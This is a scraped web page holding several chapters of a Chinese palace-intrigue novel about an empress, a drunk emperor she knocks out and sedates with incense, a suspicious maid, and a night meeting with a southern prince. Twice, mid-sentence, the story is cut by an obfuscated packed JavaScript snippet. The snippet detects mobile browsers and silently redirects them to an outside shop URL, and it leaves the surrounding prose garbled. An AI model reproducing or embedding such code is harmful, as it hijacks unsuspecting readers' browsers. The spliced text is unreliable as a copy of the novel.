楚绍手撑着有些晕的头,拿凤眼斜睨着容蓁,压制着内心的燥热。 自从与容蓁大婚后,他心中某些被藏匿很久的情绪似乎总是在看着她的时候后释放出来,一双看着她的凤眼忽明忽暗,目光移至那张如蜜桃般水润的红唇上,一时有些口干舌燥地咽了咽口水。 大婚那日他醉的厉害,只记得二人圆了房,他是相当欢喜满意的,至于旁的细节他已记不大清。例如覆上这张水润红唇的感受,再例如她的体温…… 容蓁对楚绍看着他逐渐沉下去的眸色仿若未察,就着烛光继续翻着白日里没看完的书。 她不是淑贵妃或是其他嫔妃,日日夜夜盼着眼前这位手握天下命脉之人踏足自己宫门,获得恩典承其雨露。 她盼的是身旁坐着的这个人能够权衡皇权与世族,她这一世能够保护好家族。 不一会儿,暖阁殿门被人推开,一名宫女端了碗醒酒汤进来。 暖阁内的气氛依旧沉重的让人喘不过气。 宫女将手里的碗稳稳地放在楚绍面前,头也不敢抬地退出了暖阁。 暖阁里,再次只剩下楚绍与容蓁二人。 楚绍抬手,端起醒酒汤碗,另一只手握住勺子,来回搅动着,眼睛自始至终没从容蓁身上移开过。 这个女人,不论何时都能做到娴静沉稳,不愧是容氏教养出来的嫡女。也正因如此,从小能入了她眼的东西甚少,男子亦是。 想到这,一个人的容貌在楚绍眼前浮现出,也在同时他的心似是被人紧紧揪住,一时间连呼吸都觉得费力。 作为帝王他已多年不曾有这样的感觉。为压住这心底的不快,他转怒挥手将手中的碗砸了出去,趔趄着从软塌上两步并一步走至容蓁跟前。 门外的芯红听见殿内的动静,在那一刻正要推门进去,却被一旁的王乾拽住,冲她摇了摇头。 芯红只好屏息仔细听着殿内的动静。但殿内却在碗碎的那一瞬间,又重新归于一片静寂。 楚绍面色紧绷,居高临下地看着眼前的她,密而长的睫毛在她眼底落下一片阴影,挡住了她的眸光,让人看不见此时她是何神情。 良久。 楚绍的声音从她的头顶传来,带着一丝沉哑,“容蓁你实话告诉我,楚然于你而言,当真无人可替代,是吗?” 容蓁抬头,入眼的是楚绍那双似是蒙了一层雾的凤眸。 活了两世,这是她第一次在他眼里看到隐忍、不甘,还有一丝伤感……多重色彩交织在一起,这样毫无掩饰地站在容蓁面前。 她动了动嘴唇,面对这样的楚绍,她一时不知该怎么回答。 楚绍见她不答,眸光缩了缩,有了几分凌冽,伸出双手握住容蓁的肩头,怒道:“容蓁!你究竟将我当做了什么!我说过是真心爱你才娶你为后,为何你不信!我担心你心里有他,除了大婚当日都未曾留宿在你明华殿中,为你留一片清静,为何你从不体恤!现在就连那南疆世子都能让你高看几眼!” 容蓁有那么一瞬间觉得自己肩膀要被眼前的人捏碎了,疼痛让她皱起了眉。 她感受到楚绍的盛怒,也注意到楚绍没有说“朕”,而是用了“我”。 以前她自是不会相信楚绍对自己会有丝毫真心,哪怕今晚楚绍字字掏心,她也不会忘记自己是容氏嫡女,眼前这个人是她灭族的仇人。 楚绍与她,皇室与容氏之间已是水火之势。 哪怕今日她低了头,楚绍身后所依附的宋氏又怎肯在容氏失势后放过容氏。 就算退一步,楚绍和宋家放过了失势后的容氏,那皇权还会继续容忍容氏再次走回鼎盛吗? 不,不会! 而她,又怎会让容氏任人践踏! 容蓁抿了抿唇,终是叹了一口气,起身面对楚绍而立,“陛下醉了,让王乾服侍您回宫吧。” 她转身正要将殿外的王乾唤进来,身体却被人从后面圈住,眼见处是项间与腰间的那抹明黄。 楚绍的头抵在容蓁项间,鼻口吐出温热的气息,弄的容蓁有些痒。 “朕今天就在这里歇息。”楚绍闷闷地出声,“不需要其他人,就你一人陪朕,可好?” 容蓁皱眉,她当然是不愿意的。 哪知楚绍越圈越紧,猛地将容蓁整个人转了过来。 强迫容蓁正脸面对着他,一只手揽住她纤细的腰,带入自己怀中。下一刻,那张脸忽地低下来,猝不及防就朝着容蓁的唇吻过来。 容蓁一惊,下意识头朝一边偏去,让楚绍扑了个空。 她这一躲,却是彻底激怒了楚绍。 此时的他,仿佛一只随时会发怒的狮子,一双凤眼直直地盯着怀里的容蓁,环住那腰肢的手又紧了紧,温怒地看着容蓁的脸,他蓦地笑了,“怎么,朕的皇后不应该好好服侍朕吗?” 她不知道楚绍哪儿忽然来的这么大的劲儿,被他带着来到了床沿边,然后按着坐在了床榻上,眼看着楚绍就要欺压过来。 容蓁紧张地看向四周,想从旁边抓到些什么能让她感到安心的东西。 目光所及之处,唯有那内里正燃烧着烟云缭绕的案炉。 她已经能够清楚地感受到楚绍的气息吐在脖颈之间。 正当楚绍的唇要接触到容蓁项间肌肤时,她猛然睁开眼,抬手绕到楚绍身后。 后者感觉到容蓁的动作,以为是要主动接纳他,心中一喜,“原来朕在你心中,还是有一丝……” 未等他的话说完,容蓁抬起的手刀猛地朝楚绍脖子击去,随之接住身子向一旁倒去的楚绍,脱去了他的玄靴,仔细将他头放于枕头上。 芯红正紧紧拽着手里的绢帕,心里正忐忑着就听见暖阁内她家娘娘正唤她进去。 王乾自然也听见了殿内的动静,想与芯红一同进去,但只听见皇后单单叫了芯红进去,没有叫他,踌躇着不敢擅自进去,只好眼睁睁地看着芯红推门进去,未等他探头进去,殿内又再度被关上了。 芯红入了暖阁,不好再入内,只隔着立屏站住,低声唤了声:“娘娘。” “进来吧。”容蓁的声音在里面响起,听不出什么情绪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986857|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芯红这才又抬了脚,绕过立屏,进了内室。 容蓁手里正拿了个盒子,芯红知晓这盒子里头装的什么香料,这个盒子在帝后大婚那日她曾见过。 “你去将皇上的外衣褪去,既然他对我有情,我自然也不能太辜负他。”容蓁压低了声音,用只能让芯红听见的声音吩咐着,“其他衣物要如何处理的,你看着办吧。” 说着,容蓁从紫檀木盒子里取出一枚珍珠大小的香料,夹在指缝间,走至案炉旁将其置入案炉内。 “你在这儿守着,别让外面的人进来。若皇上转醒或寅时本宫还未回,就让紫冥来寻我。” 嘱咐间,容蓁已换上了一套新的淡蓝色绫罗裙装,没有了宫装束缚累人。 她又将发髻散开,脱去了全部的发钗,只用一根玉簪将青丝简单绾起。 “娘娘是要出去?”芯红惊讶,也那就那么一瞬,明白了她家娘娘叫自己进来的用意。 容蓁点点头,解释道:“我出去散散心。你放心,有这香,他没那么容易醒过来。” 她回头看了一眼熟睡在自己床榻上的男人,眸光闪了闪,补充道:“他自己怕也是不想那么早醒来罢。” 话落,只留下在原地没品过来她话中深意的芯红,转身从床边窗子无声无息的窜了出去。 容蓁熟门熟路的避开皇帝安插在她宫殿四周的暗桩,悄无声息的翻出了明华殿。 她脚尖落地,轻轻怕去了手指尖刚刚沾染上的尘土。好在明华殿旁边是一处空着的宫殿,楚绍上位以来只说宫殿过久还需修葺,便一直未曾安排哪位嫔妃住进去。 夜晚的皇宫内,各宫值守的太监宫女无事不会轻易出自家宫门,是以往来的宫人并不多。 容蓁漫无目的地走在御道上,她没让任何人跟着,只想独自走一走。只穿了单件衣裙的容蓁,不曾想到夜里的风竟会如此大,吹得她的脸有些刺痛,思绪也随风吹得远去。 不知不觉,似是走了很久,久到上次摔折了腿的小腿隐隐发痛,容蓁这才停下来。 一路上,她将自己隐藏在屋檐遮蔽的阴影之下,绕过宫里的各处暗桩和隐卫,却没有故意朝哪个方向走。 这时停下脚步的她,才细细观察了周围,忽然觉得这地方有些眼熟。 她仰起头抬眼,“东宫”二字落入了她的眼里。 难怪她觉得眼熟,这地方……六年不曾来了,明明曾今是她与哥哥们经常玩耍的地方。 停在原地的脚再次抬起,踏上东宫的台阶。 因多年废弃宫门上已落满了灰,这里就像被彻底遗忘了一般。 容蓁伸手推开东宫的宫门,走了进去。她环视一周,月色下那些陈旧的物件似乎还是待在原本的地方,不曾被人挪动,就像是这个宫殿一样被人遗忘。 曾经的这里,原本是门庭若市,百官齐聚的地方。 多少个日子,她同哥哥就坐在这树下,看着前太子楚然游刃有余地应付着百官。那时,哥哥还开着那人的玩笑,说陛下的金銮殿怕是也没东宫这般热闹。 不过六年间,现在眼前的东宫,哪里还有当年的半分热闹。 一些疏于打理的架子已散落在地,深秋的落叶未曾被人洒扫,腐蚀的汁水连着叶子黏在地面,隐隐透着些难闻的气味。 她黛眉蹙起,手袖掩住口鼻,抬脚继续向殿内走去。 越往里走,她越是听见一丝若有若无的哭声。 她眸光一沉,调整了方向,寻着那哭声向着偏殿的方向走。 她避开枯枝,落步极轻,哭声已渐渐明晰。待她转角,这才看见一名宫女装扮的女子,正围着微弱的火光,蹲在偏殿外的一角,低声哭泣。 42.线索 东宫四处昏暗无灯,月色也朦朦胧胧的。 闻着哭声容蓁缓缓走近,离之几丈远处停下后,她瞬间辨认出了那宫女的身份。 不因其他,只因那宫女身上服饰,穿的正是多年前唯有东宫宫女才能有资格穿的颜色和样式。 “你是谁?” 她接着月色目光盯着那宫女的背影心中警惕,并没有冒昧的靠近,而是在离她十步之遥的地方停下,却也是正好挡住了那宫女的唯一去路。 那宫女闻声,惊恐的起身,抬起脚将原本微弱的火光踩熄了下去,转身跪伏在地:“娘娘息怒,奴婢……” 容蓁瞥眼,趁火光未完全熄灭下去前,眼尖地瞧见了那未燃尽的纸钱,打断宫女的话道:“你可知在宫里擅自行祭拜之事乃是大罪,你有几个胆子几条命做这样的事情?” 她的声音很轻,一字一句中却带着一丝慑人的威压。 那宫女似是被吓住,跪伏在地的身子微微颤抖,“奴……奴婢,知,知罪,还望,望娘娘宽恕,奴婢再也不……不敢了。” 风依旧吹着,卷起地面的枯叶,发出“沙沙”声。 容蓁盯着那名宫女,良久才道,“你且先细细说明为何会在这烧纸,祭拜的人又是谁?” 话落,那宫女朝着地面磕了一响头,有些激动声音带着些颤抖,认真回答道:“回禀娘娘,奴婢原是洗衣房的宫女,因性子软总被洗衣房的其他宫女欺负。七年前,正好被太子撞见被欺负的奴婢。太子心善,着人调了奴婢过来东宫伺候。今日是太子的……祭日,所以偷了空过来,想……想祭拜太子。” 那宫女简单的几句话就将事情原有说清。 容蓁听得一怔,心中惊诧原来这宫里还有人心中记念着前太子。 心底压了许久的情绪,被这宫女的几句话,再次荡漾开。她想到前世帮兄长查前太子忽然薨逝一案未果,竟还牵连到全族,可知这个案件应该并不是表面那么简单。 “你方才说,你是七年前来的东宫?”容蓁目光沉了沉,再次打量起眼前的这名宫女。 “是的,娘娘。”宫女点点头,回复道。 “你且将头抬起来,让本宫看看。” 话落,那宫女缓缓抬起自己的头,双眼本分地看着地面。容蓁点头,看这举止倒像是曾被宫中老嬷嬷们好好调教过的宫女。 趁着月色,她仔细将那宫女的容貌打量了一番,眉头不着痕迹地拧起,问道:“本宫为何不曾见过你?” 宫女再度叩头,颇有条理地回道:“奴婢平日只负责太子衣物换洗,不需在院子里洒扫或是其他,更不曾在太子殿前服侍,故此娘娘才未见过奴婢。” 容蓁再次点头,肯定了她的说话才道:“起来吧。” 那宫女得了赦令,恭敬地起身,微微侧身轻轻拍去了粘在衣裙上的灰尘,又抬手擦去脸上未曾干掉的泪痕,显然刚才祭拜之时是哭过了的。 容蓁远远看着,似有一瞬的不妥从心中闪过,但速度太快,她来不及抓住,便一闪而过。 “看你哭得如此伤心,想必前太子平日带你们下人是极好的。”容蓁依然站在原地,倒是相信了几分这宫女的出处,看似有意无意地聊了起来。 宫女低着头,似是在回想,良久才答道:“以前咱们东宫的下人们,都是取了‘暖’和‘寒’两字排行,再另取一字,合在一起来当做名字。” 这个容蓁是晓得的,当初她还那这事逗趣问过那人,“太子莫不是觉得这气候与人分‘善恶’那般,也需得分出‘寒暖’来?” 那人被逗不怒反柔和地笑着摸着她的头,用她当时还不大听得懂的话说道:“谁说人非得有‘善恶’之分。行恶事之人,若是为救他人性命能称之为恶人?行善事之人,却满腹天下正义,为自己目的视他人为刍狗,可还算得上向善?” 那时不过十一二岁的容蓁被说的迷惑,一时不知如何回答,却又听那人说道:“这世间并未有那么多是非黑白,即便有,那也有你兄长们和我护着,我们小蓁儿遵从本心便是。” 容蓁听着宫女的话,记忆如潮水般涌入,只听那宫女继续说着:“奴婢与东宫其他姐妹一样排了‘暖’字辈,单取一个竹字。太子殿下平日带宫人们极好,从未苛待。各位大人们每日来东宫,一待就是半日。太子殿下每每累及,夜里都还会记得让人分发些糕点下来犒劳大家……” 前太子,似乎在所有人眼中,都是那般机敏聪颖、细致暖心的人。 容蓁看着那个沉浸在往日东宫回忆中的小宫女,眼角还挂着泪痕,诉说着太子生前的好。 她突然想起,眼前这个宫女是东宫的人,那就是说…… “前太子他……薨逝前可有什么不对劲的地方吗?” 她出言打断依然沉浸在回忆里的暖竹,向前走了两步,问道。 暖竹闻言,低着头,似是在努力回想着。 过了一会儿,才抬起头,眼里带着光,恍然道:“奴婢想起来了!太子薨逝前一天还曾见过太子,虽不是在东宫,但那时,奴婢分明记得太子还好好的,并不像,不像……” 说罢,似是意识到自己的失礼,暖竹紧张地又低下头喃喃道:“怎得第二天就突然薨了呢?” 容蓁掩饰住自己心中早已翻涌的情绪,又向前踏了一步,追问道:“你可还几得,太子薨逝前一天,是在哪里见到的太子。” 暖竹这次没有思考,几乎脱口而出,“奴婢记得!是在去往洗衣房路上的一个偏院里。叫,叫……” 容蓁回想着那条路上坐落的宫殿,离洗衣房最近的是……“兰玉轩?” 暖竹的记忆似是被容蓁唤起,她拊掌点头道:“对,就是兰玉轩!当时奴婢手里的衣服被风吹了去,落到了兰玉轩内,是以远远见到了偏院里的太子殿下。当时的太子殿下好像在与人说话,奴婢不敢惊扰,捡了衣服就立马出了殿。” “你可曾见到与太子说话的人?” 暖竹摇摇头,“不曾见到,当时那人背对而立,奴婢只知道是个男人,其他并未看清。” “知道了。今晚的事不要向第三个人说起,再有,以后不可再私自在宫内行今日之事。” “奴婢明白,谢娘娘。”暖竹再次跪地行礼。 容蓁挥手,侧过身让开了道,让她退下。 今晚的事有些出乎她的意料,虽觉得有些不对劲,但又说不上来,是以决定先去一趟兰玉轩看看。 待暖竹 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待她再次转过身,只见刚刚门缝的位置已被打开,同时站了一个人。 那人半边身子隐在暗处,半边被御道上的光照亮,容蓁这才看清那人的面容。就着光,她对上了那人漆黑的眼睛,那是比黑夜更深,让人捉摸不透的眸子。脸上是同她一样惊讶的表情。 萧誉! 他怎会在这里? 容蓁惊觉,自己怕是上当了!这才知道刚刚那股不适之感,原是因为这个! “你……”她正想开口询问。 “什么人!”这时,身后不远处传来整齐有序的脚步声和喊话声。 容蓁皱了皱眉,她是不想让人在这里发现她的,但门又被眼前的人堵着。 二人对视一眼。 眨眼间,手腕被人拽住,往兰玉轩里带去。 容蓁趁机迅速一扫周围,刚才明明有一人与萧誉正谈论着,现下已丝毫不见了踪影。 而萧誉四下看了眼,拽着容蓁与她一起挤入了一处狭小的缝隙中。空间过于狭小,二人面对面地站着,贴的很近。 这时,兰玉轩的门被人打开,十几个侍卫从门外走了进来,二人同时紧张地屏住呼息。 为首的一名侍卫,朝里喊着:“出来吧,我看见你了。” 说话间,同时挥手让人仔细在兰玉轩里搜查起来。 容蓁本是担心,却因那人的话,原本紧绷的神情反而放松下来。 虽然看不见萧誉此时的表情,但几乎肌肤相贴的她也能感受到萧誉气息的变化。 随着外面越来越远的脚步声,他也渐渐镇定了下来。 两人放轻呼吸,仔细听着兰玉轩内的一切声动。 原本两盏茶的功夫,却感觉似有一季那么长。 兰玉轩一阵搜查骚动过后,终于又重归宁静。但二人为确保安全,都默契地没有急于出去,而是继续待在两处相邻宅院狭小的缝隙中,静心地等待着。 黑灯瞎火的环境下,他们看不清彼此的神情。此时,却能够清晰的听见对方的心跳。 43.化解 狭缝中投不进月光,彼此紧紧贴着,却看不清对方。 容蓁感受到萧誉温热的气息呼在她的眉间。 黑暗中,身体上的所有感官仿佛都被无限放大,时间一点点过去,两人身体逐渐有些僵硬。她感觉到脸上有些微热,并且那热有往耳根子上爬去的趋势,她只好稍稍别过脸去。 因为看不见,所以其他的感官只会更加敏感。她别过脸轻微的动作被萧誉灵敏地捕捉到,使得他也莫名得有些紧张起来,更加不敢有任何的动作。 他知道容蓁纤细,却也是第一次亲身感受到女子凹凸有致的身材,黑暗中早已悄悄红了脸。 萧誉垂眸目光落在怀中人的发顶上,女子特有的香气在鼻尖弥漫,牵绕着他心底的悸动,喉间缓缓滚动,近乎能听见自己的心跳。 如今不仅仅是他的手心,原本沐浴清爽才出门的他,在这秋夜冷风中已悄悄冒出细密的汗。 因两人几乎相拥在狭缝中的姿势,容蓁隐隐从他怀中又闻到了熟悉的甘松香味,闻着这味清香莫名地能让她镇静下来。原本心绪浮躁的她,从中获得一丝宁静,连着头脑也逐渐清明起来。 黑暗里,她仿佛忘记了自己所处的环境,眸光微微闪动,脑海中想着方才在东宫里所发生的事情。 须臾,她终是发觉方才在东宫时,心中所闪过却未抓住细想的那丝不妥。 现下想来,实在是太过“巧合”! 自她踏入东宫开始,又或许是在那之前,今夜所发生的一切就太过顺利。 物极必反,想通过后她心中冷笑,原来早有人已设计好棋局,等着她一步一步走入为她所设的陷阱里。 若非这样,怎会在她刚入东宫宫门,就恰巧听见宫女的哭声。 怎会在她多年来第一次踏入东宫,就恰巧遇到为前太子祭拜的宫女。 怎会在她未有任何施压逼迫之下,那宫女就如此轻而易举的将她想知道的和盘托出。 她记得……那宫女未曾抬头,便准确地称呼她为——“娘娘”。 看似是她再问,倒不如说是那宫女在一步步引导着她。 容蓁不再相信这些仅仅只是巧合,至少在兰玉轩的门口,遇到萧誉之后,她不再相信这一切单纯的只是巧合! 只怕是连这个宫女的身份都是假的! 若不是那人当时说出“暖”、“寒”二字,那是在东宫特有的排字,她也不会因陷入回忆而一时未曾察觉那丝不妥。 现下细想,凡是宫里的老人,皆能明白这其中之理,并不会轻易被那人绕进去。到底背后设计的人,还是拿准了她对东宫的感情。 只是,设计这一切的人又会是谁?目的又是什么? 能够确定的只有这个背后这个人,只会是对她熟悉之人,且知晓旧事的人。 想到这,身在黑夜里的容蓁,一瞬间只觉周身弥漫着刺骨的凉意。 萧誉感受着怀中之人情绪的变化,一双幽深的眸子锁定在黑夜中,似乎透过这黑夜,能够看清对面那人此时的神情一般。 半响后,二人确认侍卫已经离开,这才松了一口气,相贴着从那狭小的缝隙中挤出来。 萧誉感受着贴着他的那娇柔的身体,暖香入鼻的香味,心神一荡,随之又升起一丝他自己都未曾察觉的失落。 “萧世子为何在这里?”即时确认侍卫已离开,为不引人察觉,容蓁压低声音问道。 二人都是谨慎的人,择了一处背着月光靠墙的西殿侧墙的暗处站开,身子都隐在黑暗中,目光所及处只能瞧见彼此的身影。 萧誉一双眼睛在黑暗中此时倒显得若星辰闪耀,那眸中印着她的身影,仿佛知道她会问,好看的脸上忽地笑开,不答反问:“这话该我问您,如此夜晚,您不在自己宫里,怎会来这儿?” 看着他的容蓁一噎,方才在殿门口她分明瞧见了刚刚他与一人在此密谈着什么。 她看向萧誉的眸光有了些变化,而之前几次交谈下来,大概也知晓了萧誉的脾性,于是也不打算刨根问底。 不再看萧誉,侧过脸拍了拍衣裙上刚刚因躲起来而沾染上的灰尘,“也罢,本宫不问你,你也别问本宫,就当夜晚无聊赏月偶遇罢。” 萧誉见容蓁兴致不高的样子,加上刚刚黑暗中感受到她情绪的波动,猜到今晚定是发生了些什么,如漆的眼眸一沉,眼底闪过某种情绪。 周围一时寂静。 她本以为按照萧誉那阴沉沉的性格,她如此说了后便不会再多问。 哪知萧誉忽地埋低了头,盯着她的眼中流露出失落,闷闷出声:“我原以为,自秋猎之后,你我之间比之他人会更亲近一些。” 容蓁闻言本侧过去的脸回过来看向她,脸上闪过一丝惊诧,一时不知该如何答他。 谁曾想,平日冷眼淡漠的如同小狼崽之人,会忽然像现下这般毫无攻击性的…… 又顶着这张脸,怕是任谁见到,都会如容蓁现在这般模样,有些让人不知所措。 她的表情被萧誉看在眼里,后者心中不知怎么忽然就乐了,但脸上依旧是保持着那副失落的模样。 容蓁瞧着眼前之人的神情,歪头想了想两人在山洞相处的场景,以及她病后见到萧誉对她在态度上的变化,一时间竟没有语言反驳。 萧誉就那样静静地看着容蓁,目光在她脸上凝定片刻,忽地想到那日与几人在茶楼听到的话,换了话题问道:“听闻那日从行宫回宫后,您发烧昏迷了?” 对这件事容蓁并未有任何遮掩,那两日楚绍大张旗鼓地惊动六宫为她侍疾,凭的本事萧誉能知晓倒也正常,所以萧誉问她,她也大方承认地点了头。 萧誉见她没有隐瞒,仿佛得了糖的孩子,知足而又没有丝毫遮掩地再度笑开。 这一笑却让容蓁恍惚一瞬,本背光而立的两人眼前似有光闪烁。从前,她只觉得萧誉的脸漂亮,但带着任何人无法靠近,不可亵渎的锋利。 而今夜眼前的这张脸,依旧好看的不像话。 却没了那样的锋利,只留下如玉兰那般清隽柔和。这样的容貌,站在任何一处都是遮不住的俊美醒目。 容蓁从恍惚中清醒过来,对上萧誉那双黑如墨的眸子,正盯着自己的眼睛。 那人并未有回避容蓁递过来的目光,面上依然带着笑意荡开,又有一丝坏意,耳旁听得他道:“第一次见到娘娘,就发现您对在下的张脸……似乎很是满意。” 闻言,她的脸腾地一红,一直红到了耳根子,仿佛被撞破心思般扭过头不再看他。 那人也见好就收,不再拿容蓁打趣,却朝她走近了一步,声音轻若这夜中秋风道:“您发烧昏迷的那日,可知易辰被人下了毒。” 话落,容蓁蹙眉看向神情忽然严肃的萧誉。 她知晓那个整日在他身边的侍卫对他而言,应如芯红绿芜于她一般重要之人。 但她不知道这件事,也未曾听芯红提起。想来芯红当时忙着照顾自己,未必知道此事。 她转回脸来,脸上已没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022386|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了刚才那些未出阁的小女子模样,神情严肃问道:“可曾查出是谁?” 萧誉摇头。 “需要本宫帮你?” 萧誉还是摇头。 容蓁皱了皱眉,不解地看着萧誉。 萧誉轻笑,“那日我去过明华殿。” 容蓁一怔。 萧誉看在眼里,原本暗下去的眸光重新微微亮起,她果然不知道。 他继续道:“在殿外我遇到了容相,是容相提醒了我。” “父亲?”容蓁眉头深深拧起,开口问道。 萧誉点头,收起笑意,“容相提醒我,那毒是陛下给在下的警告。” 容蓁听罢,鼻腔中冷哼一声,语气轻蔑道:“哼,毫无容人之量!” 她本欲再说些什么,只见萧誉朝她弯腰作了一揖,又听他继续说道:“那日,在下只知娘娘凤体有恙,却不知详情,所以……曾怨过娘娘。” 容蓁听他所言原本一怔,再尔气笑道:“如何?萧世子有难,却以为我不施以援手,所以就埋怨于我?” 萧誉未有半分隐瞒,十分耿直地点了点头。 “也是,若危及人命,换做是我怕也是会将那见死不救之人怨上一怨。”容蓁虚扶萧誉一把,“所以,你也不必如此。” 萧誉直起身,脸上有一丝歉意。 “那后来呢?既然被父亲拒绝在殿外,以萧世子的性子,应该是不会轻易放弃的。”容蓁看着他问道。 萧誉冷了冷声,“接着,我便去了金銮殿。” “哦?”容蓁似是没想到,他会直接去找楚绍,眼里闪过一丝惊讶。 解铃还须系铃人,最冒险也是最安全的办法,也就是找楚绍。 容蓁冷笑,“虽说别人可以帮你侍卫解一次毒,但并非彻底解决问题。萧世子百毒不侵,也不能帮你侍卫挡接下来的毒,所以直接去找陛下,便是最有效的法子。” 萧誉并未反驳,“的确,说到底暗箭难防。娘娘且猜一猜让陛下为难我主仆二人的原因。” 这一刻,也就一瞬间。容蓁从他脸上仿佛又看到了往日那阴沉沉的神情,发现原来这人并非突然转了性。 她微微锁眉,想着楚绍近日不同于上辈子对待她的态度,又对萧誉所说研究细想半晌后,眸光一沉开口只说了一个字,“我。” 并非反问,而是确定的一个“我”字。 “不错,正是娘娘您。”萧誉见容蓁并未有方才那般小女儿的情态,眉目不曾舒展,却付之一笑,紧接着问道:“娘娘可曾知晓陛下这份心意。” 容蓁想起方才暖阁里的事,面上的神情又冷了几分,侧过身去,“知道会如何,不知道又当如何?” 她对楚绍那种凉薄之人,可从未动过半分心思。 萧誉对她的态度大抵猜到了几分,沉默片刻,盯着她的眼睛,“常大人和容氏的事情我听说了一些。” 他忽然话锋一转,容蓁惊诧地回看过去,动了动唇却没说话。 这段时日,萧誉的能耐似乎又涨了不少。 “虽说容相当时将我拒之门外,但说到底也是为了护着您,我理解所以不怨他。”萧誉解释着。 容蓁依旧没有说话,只是看着萧誉,似是要将眼前这个人给看透一般。 黑暗中,萧誉见她不说话,走近一步,倾下身靠近她耳旁。 淡淡的甘松香味入鼻,她呼吸开始加急,只听得耳边传来低沉的声音,“既是盟友,那便得信任彼此、理解彼此。” 44.夜谈 月影已往西移了不少。 兰玉轩里原本阴暗的地方,现在月色下毫无遮掩地显现了出来。 萧誉此番话的意思,她心中了然,此后她们便是一条绳上的蚂蚱。 她目光落在她上下缓慢滚动的喉间,莞尔一笑,:“那是自然。” 两人站的久了,腿已有些发酸,但都没有各自回宫的打算,便寻了一处台阶坐了下来。 萧誉从小在南疆长大,又是男子,并没有过多的讲究。 他坐下后,侧首见容蓁也并无半分大家闺秀的扭捏,眉头不带皱一分地在他不远处坐下,唇角微微勾起。 回想起来,自从遇见容蓁,在她身上鲜少看见楚燕宗室勋贵身上的自是天骄。 与她相处,总能让人感觉到与其他人不同的舒适、惬意。 有那么一瞬间,他心中甚是好奇,簪缨世家的容氏嫡女,往昔还未出阁的时候,是如何被教养的。 因为他在她身上既能看到女子该有的娴静温雅,又能看到女子鲜有的飒爽豪情。 有时候这个人能够淡漠到似乎一切都与她不相干,却偏偏也是这个人连御花园的花都照顾到,见不到一朵惨败之花。 这样的女子,比许多人要有趣得多。 夜渐深,寒意更甚。 “如今已是十月下旬,您穿的如此单薄出宫,身旁伺候的贴身宫女也肯放您出来?”在萧誉的印象中,每次见容蓁时,她身边那个叫芯红的大宫女,总是比旁人要仔细稳妥些。 容蓁不答话,手托着腮转过头,用看陌生人的眼神看着萧誉。 “怎的这眼神瞧我?”萧誉不喜她用这样的眼神瞧他,皱起眉问道。 她看着萧誉的眼神闪了闪,被托在手中的头一偏笑道:“我忽然发现,萧世子似乎对我身边的人观察得很仔细。” 萧誉哑然。 他感受到容蓁正打量着自己,却没有转头去,反将头抬起,透过层层宫顶望向那轮满盈后又逐渐少缺的银月,半晌后沉声道:“您今日出现在这里,是因为那个前太子吗?” 容蓁闻言,本打量他的眼睛下意识地眯了眯,然后从他身上收回视线。转而低头看着足尖,心中思索着关于前太子楚然的事情,在那日山洞他问起时,自己只略微提过一下。 那时的他,连前太子的名讳都还不知,如今怎的问起楚然的事。 念及于此,容蓁轻轻呼了一口气,不答反问:“怎问起这个,还是说你知道了些什么?” 萧誉这时才偏过头,将容蓁的神情看在眼里。 他眉梢微动,如漆的眼眸垂下,长长的睫毛随着眼睑一同无力的耷拢着,隔断了别人探往他眼底深处的视线,声音忽然低了下去:“我知道的很多,你的,前太子的,楚燕的……” “如今这燕京藏龙卧虎,各家揣着各自的心思。在这局势中,以萧世子的智谋,足以将自己从这混乱的局势中摘出去。”容蓁笑道,那话中存了几分探究之意。 萧誉摇了摇头,“您是聪明人,若今日在这里见到我并非偶然,那么我已被人拉入这局势之中,不是吗?” 容蓁微微一怔,默然。果然,有一只看不见的手正隐在这风云之中,而他们却在那人的棋盘之中。 这执棋之人又会是谁? 正思索着,萧誉忽然凑近,离容蓁不过咫尺之间,气息吐在她耳后温言软语道:“娘娘居后宫,许多不方便办的事情,不妨放开了心让我来做这些跑腿儿的杂活。” 容蓁被吓得一怔,板起脸拿衣袖将萧誉的脸隔开,立即起身,站开了些才看着他说道:“京中这趟浑水里,萧世子还是莫要掺和,能安然无恙地活着就不错了,其他的事情牵涉过深,还是别往自己身上揽了。” 萧誉见她避开的样子,眸光一缩,紧接着脸色沉了沉。 直到听她说完,忽然嗤声一笑,再又靠近了些看着,眼角含笑道道:“原来娘娘是担心在下安危。” 容蓁偏过脸去,打定主意不再搭理他,抬脚正要往兰玉轩外走,衣角猛然被人拽住。 她诧异地回头,眼中带着询问,却是没有开口。 只听拽住她衣角的人叹了口气,收了方才玩笑的模样,语气中带着诚恳,“让我帮你。” 容蓁却语气淡淡,不答反问道:“可否能问萧世子一句‘为什么’?” 萧誉拉着她的衣角没有放开,粲然一笑,他身后的月光瞬间都稍显暗淡,只听他回道:“不为什么,娘娘不也曾几次相助于在下?” 容蓁听闻,不置可否,也不耽搁多话,出来的时间已经很久了,也该回去了。 萧誉见她不说话,全当她默认,松开了被他拉住的衣角。 容蓁不再看他,抬脚就走。 萧誉也立即起身抬脚出门,稍稍保持着距离,紧跟在她身后。 二人在狭长的御道上走着。 来时容蓁独自一人,又对宫中各驻守的侍卫班值了如指掌,倒也不担心会被发现。现在身后跟着一个人,虽说两人依旧小心着走走绕绕,心里总觉着有说不出的感觉。 